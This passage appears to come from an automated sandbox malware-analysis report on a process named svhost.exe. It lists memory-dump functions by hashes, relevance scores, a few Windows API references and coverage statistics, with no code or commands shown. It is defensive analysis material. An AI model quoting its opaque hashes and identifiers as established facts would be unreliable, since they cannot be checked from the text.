Opcode ID: d84ac92ec348a2a7ae45b0f012707cab2bea851062163bb4963cd80e4932ddf5
Instruction ID: 77e962a050aa200fe42a4ba7fc46349f7b296557c515aa0f0fcebe5934e7470b
Opcode Fuzzy Hash: d84ac92ec348a2a7ae45b0f012707cab2bea851062163bb4963cd80e4932ddf5
Instruction Fuzzy Hash: 31F06534A082859FC711DFA8DC54659FFB0EB45310F28C2DAC86497392C6355A47CB41

Uniqueness

Uniqueness Score: -1.00%

Function 056B7A58 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27f3b7834c13fdac861368390abadfde27d95fed084573e9c1e7e0ebf66fc60d
Instruction ID: 37647bcd4fdd3228b6bf45dc1794e0bf3e1f54518f3a831ed64adb01b6876773
Opcode Fuzzy Hash: 27f3b7834c13fdac861368390abadfde27d95fed084573e9c1e7e0ebf66fc60d
Instruction Fuzzy Hash: 09E09A75904208ABCB44EEE4ED45BA9BFB4EB54300F1490A9D80063341DA32AA92DB80

Uniqueness

Uniqueness Score: -1.00%

Function 056B9ABA Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6af3faa1ee6dc3ecb06264fb41adf37ae456554ed149af77fedcc7122990cf5d
Instruction ID: 79705d12dd762649a56b178ca9ad91579b72755a9675334c78028a9f7baa9935
Opcode Fuzzy Hash: 6af3faa1ee6dc3ecb06264fb41adf37ae456554ed149af77fedcc7122990cf5d
Instruction Fuzzy Hash: F3F07A7090522A8ADB64DF68C988BEDB7B1BB89344F2001FAE449B7250C7B65EC0CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BF548 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30d122d28429313ae66c170a105bc726aed7598fa45b8ff06474aa35a69530c3
Instruction ID: 354e6d0ed366f07db141ccac42a8f491340d9e1522cccb955cc34611fed96f8b
Opcode Fuzzy Hash: 30d122d28429313ae66c170a105bc726aed7598fa45b8ff06474aa35a69530c3
Instruction Fuzzy Hash: 09F03074E082849FC711DFA8E95565DBFF0AB45310F2882DA8C5897392D6365A46CB41

Uniqueness

Uniqueness Score: -1.00%

Function 056B6488 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 620492de57403ce77977360de58f9506d27742d6fd5c650bd69b7674498ba11d
Instruction ID: 367e8957e237e50a391b2be8cc8ceec196ff01a4dba8688762d64c5b1fae4c61
Opcode Fuzzy Hash: 620492de57403ce77977360de58f9506d27742d6fd5c650bd69b7674498ba11d
Instruction Fuzzy Hash: 19E0DF34904108EBCB04EF94DC42BADBF74EB40300F68C1A9DC0023340CA369A92CB84

Uniqueness

Uniqueness Score: -1.00%

Function 056BF9B8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34db63e6547419eab0c39aee731812fcbd73c9d2f3ca0ceb2da2a318c7a126a5
Instruction ID: b228149d1b1ef216936d20ff8d2c6512e429b92f7831b5cb94081f4cffb30ebd
Opcode Fuzzy Hash: 34db63e6547419eab0c39aee731812fcbd73c9d2f3ca0ceb2da2a318c7a126a5
Instruction Fuzzy Hash: BDE09234A05204DFC704EF98ED40A9EBFB0FB45300F14819ED844A3751C731AA55DB41

Uniqueness

Uniqueness Score: -1.00%

Function 056BFA48 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dfe2288f8fe6e3704ea17900dc2a09b3c39c36600033fe2abfbea9376e0046d
Instruction ID: 414b9ca5823783638aae41d2d6f2fa97b3cbc0c1d31fbb6645f505b7c84929a1
Opcode Fuzzy Hash: 1dfe2288f8fe6e3704ea17900dc2a09b3c39c36600033fe2abfbea9376e0046d
Instruction Fuzzy Hash: 13E09234904208DBCB14DF54DC95A99BB70EB41305F2481EAC84417341C6325A57CB91

Uniqueness

Uniqueness Score: -1.00%

Function 056B5592 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a7e2548568590161687800c007ddd7702a5277efd80c987522d0c4ad29b55c7
Instruction ID: aa93bcdae6ee722d4a9393598204fc2e0ef52eaddb10c3d070c32758f1ee0091
Opcode Fuzzy Hash: 2a7e2548568590161687800c007ddd7702a5277efd80c987522d0c4ad29b55c7
Instruction Fuzzy Hash: 4FE08CB2846018EAD710FFF4EA493EF7BA0EF51300F1489E5C849A3254EE315E94DB82

Uniqueness

Uniqueness Score: -1.00%

Function 056B46A0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c0645865b80f3225048fc1ba734039d160317a8271a72636484b2f8cfb2cca
Instruction ID: 03de25a3fcd3edd23eaa3bea09c1fb7bed14027b47c5251bfea5c39da1f8849d
Opcode Fuzzy Hash: 40c0645865b80f3225048fc1ba734039d160317a8271a72636484b2f8cfb2cca
Instruction Fuzzy Hash: 96E0E574E04208EFCB54EFA8D845A9CFBF1EB48300F10C0AADC18A3340DA31AA91DF80

Uniqueness

Uniqueness Score: -1.00%

Function 056BEF71 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90cfe683257652f2627a8c97af29282cedfd715c8e99cd4f13f7a83858c20813
Instruction ID: 40c0db87bd363f9c97ab08ebdcb7c448b4b5fa2067e937075364c651f7608532
Opcode Fuzzy Hash: 90cfe683257652f2627a8c97af29282cedfd715c8e99cd4f13f7a83858c20813
Instruction Fuzzy Hash: 39F09AB494525A8FC714DF28D8087E97BB2FB09300F1040F99509AB741DB340E85CF80

Uniqueness

Uniqueness Score: -1.00%

Function 056B58A0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c0645865b80f3225048fc1ba734039d160317a8271a72636484b2f8cfb2cca
Instruction ID: c996045986a9f0ed203fbb742b25f4128b4896155199690fa507808110da4e49
Opcode Fuzzy Hash: 40c0645865b80f3225048fc1ba734039d160317a8271a72636484b2f8cfb2cca
Instruction Fuzzy Hash: 51E0E574E05218EFCB94EFA8D844A9CFBF4EB48300F10C0AADC19A3340D632AA51DF84

Uniqueness

Uniqueness Score: -1.00%

Function 056BF558 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84abfa7ebf3fd932259df6f41bef4705f9011086c808721610b2c9975def3fdb
Instruction ID: 4a84c8a7084146f4da9e588c261f0b9ae0fd118fa731cdfbf3497f3bcf410260
Opcode Fuzzy Hash: 84abfa7ebf3fd932259df6f41bef4705f9011086c808721610b2c9975def3fdb
Instruction Fuzzy Hash: 77E07574E05208EFCB54EFA8E99569DFBF4EB48304F14C1AA9818A3344DA359A52CF81

Uniqueness

Uniqueness Score: -1.00%

Function 056B5938 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84abfa7ebf3fd932259df6f41bef4705f9011086c808721610b2c9975def3fdb
Instruction ID: 8c6fa7247f2ebbc7dec27f276bee304f9df5f6e25d4b31da931f133707c718cd
Opcode Fuzzy Hash: 84abfa7ebf3fd932259df6f41bef4705f9011086c808721610b2c9975def3fdb
Instruction Fuzzy Hash: 55E0E534E04208EFCB54EFA8D84469CBBF0EB48300F10C0AA8808A3340D6319A52CF80

Uniqueness

Uniqueness Score: -1.00%

Function 056BFB70 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84abfa7ebf3fd932259df6f41bef4705f9011086c808721610b2c9975def3fdb
Instruction ID: 18f31d7a7fec61d0553da5e973e18c14356d821072066be8ff4db7ad1489dbb9
Opcode Fuzzy Hash: 84abfa7ebf3fd932259df6f41bef4705f9011086c808721610b2c9975def3fdb
Instruction Fuzzy Hash: D0E09A74E05208EFCB54EFA8D95569DFBF4EB88314F14C1EAD818A3344D6359A52CF81

Uniqueness

Uniqueness Score: -1.00%

Function 056BB518 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b019bd914f71526988b1d43d23958e7468e81db14b308e62df1fbdf02fb18206
Instruction ID: 3c4ee8f847337435d5302a49ba7bdb630d1f644f9a93b78f62809362efe53727
Opcode Fuzzy Hash: b019bd914f71526988b1d43d23958e7468e81db14b308e62df1fbdf02fb18206
Instruction Fuzzy Hash: 94E0B670E05208EFCB64EFA8E84869DBBB5FF44300F9081EAC808A3344D7759A91CF81

Uniqueness

Uniqueness Score: -1.00%

Function 056B55A0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34587b89a023938117625e6b69b30f1e94c55b192d637e4b32a13c9db2742d4e
Instruction ID: 8fc87458735f0cca4a3ba9cd1961364a8ce95ff00757d66bff5454e4919fe1f7
Opcode Fuzzy Hash: 34587b89a023938117625e6b69b30f1e94c55b192d637e4b32a13c9db2742d4e
Instruction Fuzzy Hash: BFE0C27184610CEBC710FFB8E80C69EBBA9DB11200F4004E5C50193254EE700B80C751

Uniqueness

Uniqueness Score: -1.00%

Function 056B4380 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30f1cb72d9220ebd42e59dda68b8fa143cf04faf135b30bbaa4fcb03f736bda0
Instruction ID: ee31758432d853f2560eea16a0f535d916c44d6dcce506f578c74295dc81724f
Opcode Fuzzy Hash: 30f1cb72d9220ebd42e59dda68b8fa143cf04faf135b30bbaa4fcb03f736bda0
Instruction Fuzzy Hash: CFE02B3180510CEBC710FFF8D90868EBBE8DB41700F4004E5C541A3255EF710B40C751

Uniqueness

Uniqueness Score: -1.00%

Function 056B3C00 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3795d70439d8fb2a7998e95a321f90381722943874506d00ce88d97e105aa243
Instruction ID: 642100aac6588f37b90908e8eacebad5d94f12029b4bae921bcfdadccb9e01d6
Opcode Fuzzy Hash: 3795d70439d8fb2a7998e95a321f90381722943874506d00ce88d97e105aa243
Instruction Fuzzy Hash: 5EE086309092889FCB11DBA5DD54659BF74EB03714F5844DEC80997741EA729D01CB41

Uniqueness

Uniqueness Score: -1.00%

Function 056BC818 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d5576456bc58dd93dd706d5fadab827b8d00a48f8f9e5a57a3b9b878f3696a7
Instruction ID: 0de1e684925db35f309c993143a3864391c92888b8267cd94c269984edd7bfe4
Opcode Fuzzy Hash: 1d5576456bc58dd93dd706d5fadab827b8d00a48f8f9e5a57a3b9b878f3696a7
Instruction Fuzzy Hash: 72E01A34D04208EFCB14EF98D8446ACFFB4EB88300F24C0AADC4467341C6319A51DB84

Uniqueness

Uniqueness Score: -1.00%

Function 056BBA68 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 515ca498adc76732b59c1ac697f8b8e3cfdfbd81f67bdad7cf7cf800940584f3
Instruction ID: 3f143d22ce84d37360e1645d75be28a718d7542228ede81f539e8cbb242da35d
Opcode Fuzzy Hash: 515ca498adc76732b59c1ac697f8b8e3cfdfbd81f67bdad7cf7cf800940584f3
Instruction Fuzzy Hash: 18E04634D04248EFCB14EFA8D9546ACFBB4EB88300F24C0EACC0863340DA329A42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 056B7A68 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db02dce9dd06320a1328549490f65e5086f74984cefe02d6da59b32909040c77
Instruction ID: 35628122e702a7b10d767be4e3c90734e3aa4a4ee402cac2ab25753cd707648d
Opcode Fuzzy Hash: db02dce9dd06320a1328549490f65e5086f74984cefe02d6da59b32909040c77
Instruction Fuzzy Hash: 6CE08C34904208EBCB14EF98E944AACBF74EB84300F20C0A9DC0423340CA32AB92DB84

Uniqueness

Uniqueness Score: -1.00%

Function 056B6370 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4306510a81f77d815784156f17c32a387c432f64cbeaac50f447f97848ea764e
Instruction ID: ee03f27d55cc1b260a1f8955ae34a675a768d257ffa005f8decfc7ba9076457d
Opcode Fuzzy Hash: 4306510a81f77d815784156f17c32a387c432f64cbeaac50f447f97848ea764e
Instruction Fuzzy Hash: 9CE01234905108DBC714EF98E95569DBB74EB45304F6491D9DC0467344CA325E52CB81

Uniqueness

Uniqueness Score: -1.00%

Function 056B3C10 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a59e37cc818d4a61974eedcded95bf69c3f657b6e0a754755aeb215c59cf78c
Instruction ID: f10c059498ce781f08db7e4b578ed1a705fa35d8121d054dced970a69b450160
Opcode Fuzzy Hash: 8a59e37cc818d4a61974eedcded95bf69c3f657b6e0a754755aeb215c59cf78c
Instruction Fuzzy Hash: E9D0A930A09108EBC714EF98ED54A6AFBA8EB41704F2490DDCC0953340CB33AE42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 056B6B96 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38879f47c773483c8e758b492cc7809ed8b00a70447a0fd935c4291576efbfc9
Instruction ID: 091aa475ce211fe00e46ce1a3e98d51781d13bd0650b97d452c8148e0317376f
Opcode Fuzzy Hash: 38879f47c773483c8e758b492cc7809ed8b00a70447a0fd935c4291576efbfc9
Instruction Fuzzy Hash: 44D0C974609119CFDB50DA54D9A4AE93B7AFB4E342F145084A50A87328CE30AD87CB11

Uniqueness

Uniqueness Score: -1.00%

Function 056BF22C Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a600567b28644b62d9f953238c9ca4c705e796cdbf745dbdf23e2253a6b40da1
Instruction ID: b381e977c1d048ef8af7617fa92f2857f7ba0038af06bd6654d90142149b0580
Opcode Fuzzy Hash: a600567b28644b62d9f953238c9ca4c705e796cdbf745dbdf23e2253a6b40da1
Instruction Fuzzy Hash: 3FD092706151088BCB26EF28D86C5DD7BB6FB0C306F0606A9940A9A31ADB716D85CB45

Uniqueness

Uniqueness Score: -1.00%

Function 056B6B78 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c3b3f312fa7748691adf16129cf57ea6a3965669417358aa2da3b93f7d21379
Instruction ID: 2c89a68b05518a96e68e484f31a8b9293c106263aa8c004881abc1f4f34affb1
Opcode Fuzzy Hash: 6c3b3f312fa7748691adf16129cf57ea6a3965669417358aa2da3b93f7d21379
Instruction Fuzzy Hash: 8BC08C7004D14987EB10C200C4341F42E3E9B17782B146284900E020B28E6058A6CB00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0173E350 Relevance: 2.6, Strings: 2, Instructions: 114COMMON

Download Yara Rule

Strings

&27Y, xrefs: 0173E392
&27Y, xrefs: 0173E372

Memory Dump Source

Source File: 00000002.00000002.423360534.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1730000_svhost.jbxd

Similarity

API ID:
String ID: &27Y$&27Y
API String ID: 0-2181593304
Opcode ID: 4831f313173af2e4c5660fc59185dad84a7392d53dd3c0128fe22c68e0a654c5
Instruction ID: 3a42efbf530a9c97c57ededfbab57a0aa923067dd864d41b7d82c1f0ef566427
Opcode Fuzzy Hash: 4831f313173af2e4c5660fc59185dad84a7392d53dd3c0128fe22c68e0a654c5
Instruction Fuzzy Hash: 2C41EEB4D042089FDB10CFA9D984AAEFBB1BB89310F20912AE455BB251DB789885CF45

Uniqueness

Uniqueness Score: -1.00%

Function 05A5B910 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 05A5B96C
RtlDecodePointer.NTDLL ref: 05A5B9AB
RtlEncodePointer.NTDLL(00000000), ref: 05A5BA12
RtlDecodePointer.NTDLL(00000000), ref: 05A5BA4E
RtlEncodePointer.NTDLL(00000000), ref: 05A5BA88
RtlDecodePointer.NTDLL ref: 05A5BAC8
RtlDecodePointer.NTDLL ref: 05A5BB06

Strings

&27Y, xrefs: 05A5B927

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: Pointer$Decode$Encode
String ID: &27Y
API String ID: 1638560559-21124964
Opcode ID: 3f7bba8c6853d6417dc8136a02509cb806ca226090c550f8d789c701afb4f078
Instruction ID: 75193d49383804d2f9e18478cd486aec60cebb6f0fa5bc8d7d4d8fe110e8c0e4
Opcode Fuzzy Hash: 3f7bba8c6853d6417dc8136a02509cb806ca226090c550f8d789c701afb4f078
Instruction Fuzzy Hash: C5612AB1804359CFDF21CFA9C548BAEBBF0BB18326F148519D86A67690C3B95584CF71

Uniqueness

Uniqueness Score: -1.00%

Function 05A5B900 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 05A5B96C
RtlDecodePointer.NTDLL ref: 05A5B9AB
RtlEncodePointer.NTDLL(00000000), ref: 05A5BA12
RtlDecodePointer.NTDLL(00000000), ref: 05A5BA4E
RtlEncodePointer.NTDLL(00000000), ref: 05A5BA88
RtlDecodePointer.NTDLL ref: 05A5BAC8
RtlDecodePointer.NTDLL ref: 05A5BB06

Strings

&27Y, xrefs: 05A5B927

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: Pointer$Decode$Encode
String ID: &27Y
API String ID: 1638560559-21124964
Opcode ID: 1f5dd23ad7e5a12c408082aad12ecf24d5be74a629ac8feafc69b522e76975ef
Instruction ID: 201c745006301143e9d01aad48261895fe48e9e6132bc391351118de8418c99b
Opcode Fuzzy Hash: 1f5dd23ad7e5a12c408082aad12ecf24d5be74a629ac8feafc69b522e76975ef
Instruction Fuzzy Hash: 36613BB1804359CFDB21CFA9C548BAEBBF0BB18315F148519E46A67690D3B85584CF71

Uniqueness

Uniqueness Score: -1.00%

Function 056B957E Relevance: 5.0, Strings: 4, Instructions: 41COMMON

Download Yara Rule

Strings

, xrefs: 056BA26B
?, xrefs: 056B9011
&, xrefs: 056B903D
#, xrefs: 056BA23F

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: $#$&$?
API String ID: 0-479410870
Opcode ID: 5a885faaaa8e576d2ea97e45ea9da2c92a84a5f66018ed9f68248734b16e1643
Instruction ID: a7bf7d0d448af53fcb464e0d1997e5129f12025a4183b6338cf7568274061461
Opcode Fuzzy Hash: 5a885faaaa8e576d2ea97e45ea9da2c92a84a5f66018ed9f68248734b16e1643
Instruction Fuzzy Hash: C4119C709062288BEBA0DF69D988BDDB7F1BB49304F1041E9D009B7251D7B55EC0CF04

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svhost.exePID: 5428, Parent PID: 4768COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	0

Executed Functions

Function 057868F8 Relevance: 1.2, Instructions: 1232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.592697207.0000000005780000.00000040.00000800.00020000.00000000.sdmp, Offset: 05780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5780000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04783ad924a547421cf79782dc4459fd626801d044575d892269a5acd7abc859
Instruction ID: ec94efaac5a1a63d7b865a004adb37bf49b4388040deec68f16ff638aa3a4010
Opcode Fuzzy Hash: 04783ad924a547421cf79782dc4459fd626801d044575d892269a5acd7abc859
Instruction Fuzzy Hash: 0592BE70B402059FDB29ABB8946863E7AE3FFD8701F24846DE406DB394DE74DC06A791

Uniqueness

Uniqueness Score: -1.00%

Function 0578BE80 Relevance: .6, Instructions: 605
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.592697207.0000000005780000.00000040.00000800.00020000.00000000.sdmp, Offset: 05780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5780000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d04d27adc5fcd5ec86684fece7ce9a1e58c8784ac3a52ee61b16ef6f409a7373
Instruction ID: 4780f8ac75268acd52b90fe8f565bd848f1b3e0989cb2970ce6fa3c46fc39295
Opcode Fuzzy Hash: d04d27adc5fcd5ec86684fece7ce9a1e58c8784ac3a52ee61b16ef6f409a7373
Instruction Fuzzy Hash: 4B22D2707402419FC726EB79D859A3EBBA7BF85210F1484AAE806CB391DF34DC46D761

Uniqueness

Uniqueness Score: -1.00%

Function 057821D8 Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.592697207.0000000005780000.00000040.00000800.00020000.00000000.sdmp, Offset: 05780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5780000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f861cbd6c6733be28e8cdddc7fa406012eb8187fa5cdf1998caba4c779766169
Instruction ID: aeb78eec0c5539254fc44038e36ec918cc8c8bf8f841d50972d2724174267c7f
Opcode Fuzzy Hash: f861cbd6c6733be28e8cdddc7fa406012eb8187fa5cdf1998caba4c779766169
Instruction Fuzzy Hash: 6BD1BE75B002059FCB05EB78C858A7ABBB6FF89311B1480AAE909DB362DF35DC05DB50

Uniqueness

Uniqueness Score: -1.00%

Function 05781D98 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.592697207.0000000005780000.00000040.00000800.00020000.00000000.sdmp, Offset: 05780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5780000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad5079be28ac56861537f0a79b032456a30b0c3b4a12160a6972f5a48564fcdd
Instruction ID: 1a5bf339444e879cd42b44d01e1f08e0918a05ad864198b9f0c52aa92fc00612
Opcode Fuzzy Hash: ad5079be28ac56861537f0a79b032456a30b0c3b4a12160a6972f5a48564fcdd
Instruction Fuzzy Hash: 60D16974B0120A9FCB18DF69D584A6DBBF2FF98301B658469E806DB351DB30EC42DB50

Uniqueness

Uniqueness Score: -1.00%

Function 017508E0 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 01750947

Memory Dump Source

Source File: 00000007.00000002.585929850.0000000001750000.00000040.00000800.00020000.00000000.sdmp, Offset: 01750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1750000_svhost.jbxd

